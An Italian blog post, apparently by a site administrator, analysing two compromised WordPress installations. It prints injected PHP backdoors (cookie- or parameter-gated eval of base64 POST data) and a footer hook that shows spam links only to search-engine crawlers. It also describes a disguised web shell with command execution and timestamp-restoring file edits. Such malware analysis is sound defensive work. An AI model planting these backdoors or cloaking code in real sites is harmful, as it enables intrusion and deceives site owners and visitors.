Ho ricevuto altri due tarball di siti web compromessi.

Entrambi hanno lo stesso schema di intrusione. Li sto ancora analizzando, e stavolta il cracker è più furbo dei precedenti. Il codice è iniettato su parecchie pagine, subito dopo la sequenza di escape del PHP, in questo modo (tratto dal file wp-admin/index.php):


<?php
  if(md5($_COOKIE['_wp_debugger'])=="788d0899a96f367ef0b93356bc87c28a") {
    eval(base64_decode($_POST['file']));
    exit;
  }
?>
<?php
  if($_GET['4bb9dfc9087f6880']=="3af2f3a320b6d01a") {
    eval(base64_decode($_POST['file']));
    exit;
  }
?>

Il primo if sembra essere una forma di identificazione: se nel browser del visitatore è presente un certo cookie viene eseguito del codice, risultante dalla funzione eval applicata sul contenuto della richiesta POST. Il secondo assomiglia al primo, solo che viene controllata la presenza ed il valore di una variabile di tipo urlencoded. Questo sito è stato compromesso più volte, almeno due, con versioni successive installate forse da due cracker differenti.

La parte più “gustosa”, si fa per dire, è quella del rilevamento dello user agent e della “farcitura” della home page di link spam (tratto dal file wp-includes/default-filters.php):


add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775');
function wpc7c16b8466d864eeefd20050625c7775() {
  $seau=array("google","yahoo","slurp","msn","live","ask","altavista","aol");
  $sebot="";
  foreach($seau as $ua)
    if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),$ua)!==false){ $sebot="1"; break; }
  if(!($sebot==1 && sizeof($_COOKIE)==0)) return;
  @include('./wp-includes/class-mail.php');
  if(sizeof($wparr)>0){
    echo "<div id=\"_wp_footer\">";
    foreach($wparr as $k=>$v){
      echo "<a href=\"".$v['url']."\" title=\"".ucwords($v['key'])."\">".ucwords($v['key'])."</a>\n";
      if($i++==$inum) break;
    }
    echo "</div>".$_footer;
  }
}

Notare la lista delle stringhe per lo user agent, alla variabile $seau.
Questo tipo è quello che usa il tag <div> con ID pari a “_wp-footer”, visto qui.

Nell’albero delle directory dell’installazione di WordPress compromessa vi sono alcuni file estranei, riconoscibili per via dell’ultima lettera dell’estensione del nome duplicata: en_new.php.jpgg, mcwindows.php.giff, Downloads_old.php.jpgg.

Il contenuto, come è facile immaginare, è completamente differente da quello che l’estensione sembra suggerire: sono script PHP che iniziano in questo modo:


<?php
  if(md5($_COOKIE['qwerty'])=="bed5666cccb90054bec0058e9f28d91c"){
    clearstatcache();
    set_magic_quotes_runtime(0);
    if(!function_exists('ini_set')){
      function ini_set(){
        return FALSE;
      }
   }
...

La prima riga è proprio una autenticazione, il resto del file contiene varie funzioni, le più interessanti sono una che tenta la modifica di alcune variabili di funzionamento dell’interprete PHP, per la precisione max_execution_time e output_buffering, ed una che controlla l’impostazione del “safe mode”. Segue una rudimentale shell via web che permette di creare directory, modificare file, rimuovere file o directory, fare l’upload di file, eseguire comandi via shell. Ed ancora, una funzione che scandisce l’albero di directory a partire da un punto e cerca file e directory modificabili con l’utente con cui viene eseguita la shell, ossia il web server. Ultima finezza, una funzione che permette di aprire e modificare un file e rimette data ed ora di ultima modifica a quella precedente le modifiche, come se il file non fosse mai stato toccato.

Insomma, il kit del provetto cracker.

Devo dire che c’è da imparare da questa gente. Alcune tecniche di programmazione sono realmente istruttive. C’è una funzione che cerca, fra le varie disponibili nelle tante versioni rilasciate di PHP, quella esistente nell’installazione in cui viene messa in esecuzione, a scelta fra: exec, shell_exec, system e passthru.